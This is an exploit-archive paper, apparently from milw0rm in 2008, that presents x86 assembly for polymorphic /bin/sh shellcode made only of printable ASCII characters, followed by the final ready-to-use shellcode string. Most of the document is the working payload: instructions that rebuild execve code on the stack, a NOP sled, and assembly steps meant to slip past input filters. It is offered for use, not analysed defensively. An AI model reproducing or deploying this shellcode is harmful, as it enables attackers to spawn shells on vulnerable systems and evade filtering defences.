103 lines
No EOL
2.7 KiB
Text
103 lines
No EOL
2.7 KiB
Text
{========================================================================}
|
|
{ /bin/sh Polymorphic shellcode with printable ASCII characters }
|
|
{========================================================================}
|
|
|
|
A paper by the FHM crew:
|
|
|
|
http://fhm.noblogs.org
|
|
|
|
Contact us at:
|
|
|
|
--------------------------------------------
|
|
|
|
sorrow: rawhazard@autistici.org; betat@hotmail.it
|
|
|
|
--------------------------------------------
|
|
|
|
fhm crew: fhm@autistici.org; freehackersmind@gmail.com
|
|
|
|
--------------------------------------------
|
|
|
|
|
|
Assembly code for /bin/sh polymorphic shellcode:
|
|
|
|
BITS 32
|
|
;assembly code for polymorphic shellcode
|
|
push esp ; Put current ESP
|
|
pop eax ; into EAX.
|
|
sub eax,0x39393333 ; Subtract printable values
|
|
sub eax,0x72727550 ; to add 860 to EAX.
|
|
sub eax,0x54545421
|
|
push eax ; Put EAX back into ESP.
|
|
pop esp ; Effectively ESP = ESP + 860
|
|
and eax,0x454e4f4a
|
|
and eax,0x3a313035 ; Zero out EAX.
|
|
sub eax,0x346d6d25 ; Subtract printable values
|
|
sub eax,0x256d6d25 ; to make EAX = 0x80cde189.
|
|
sub eax,0x2557442d ; (last 4 bytes from shellcode.bin)
|
|
push eax ; Push these bytes to stack at ESP.
|
|
sub eax,0x59316659 ; Subtract more printable values
|
|
sub eax,0x59667766 ; to make EAX = 0x53e28951.
|
|
sub eax,0x7a537a79 ; (next 4 bytes of shellcode from the end)
|
|
push eax
|
|
sub eax,0x25696969
|
|
sub eax,0x25786b5a
|
|
sub eax,0x25774625
|
|
push eax ; EAX = 0xe3896e69
|
|
sub eax,0x366e5858
|
|
sub eax,0x25773939
|
|
sub eax,0x25747470
|
|
push eax ; EAX = 0x622f6868
|
|
sub eax,0x25257725
|
|
sub eax,0x71717171
|
|
sub eax,0x5869506a
|
|
push eax ; EAX = 0x732f2f68
|
|
sub eax,0x63636363
|
|
sub eax,0x44307744
|
|
sub eax,0x7a434957
|
|
push eax ; EAX = 0x51580b6a
|
|
sub eax,0x63363663
|
|
sub eax,0x6d543057
|
|
push eax ; EAX = 0x80cda4b0
|
|
sub eax,0x54545454
|
|
sub eax,0x304e4e25
|
|
sub eax,0x32346f25
|
|
sub eax,0x302d6137
|
|
push eax ; EAX = 0x99c931db
|
|
sub eax,0x78474778
|
|
sub eax,0x78727272
|
|
sub eax,0x774f4661
|
|
push eax ; EAX = 0x31c03190
|
|
sub eax,0x41704170
|
|
sub eax,0x2d772d4e
|
|
sub eax,0x32483242
|
|
push eax ; EAX = 0x90909090
|
|
push eax
|
|
push eax ; Build a NOP sled.
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
|
|
Then use nasm on the assembly code (nasm asmcode.s) and print it (echo $(cat ./asmcode) ), you will obtain this output:
|
|
|
|
-[final code]-
|
|
TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6- 99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx- aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP
|
|
-[/final code]-
|
|
|
|
That string is your polymorphic shellcode with printable ascii characters.
|
|
|
|
# milw0rm.com [2008-08-31] |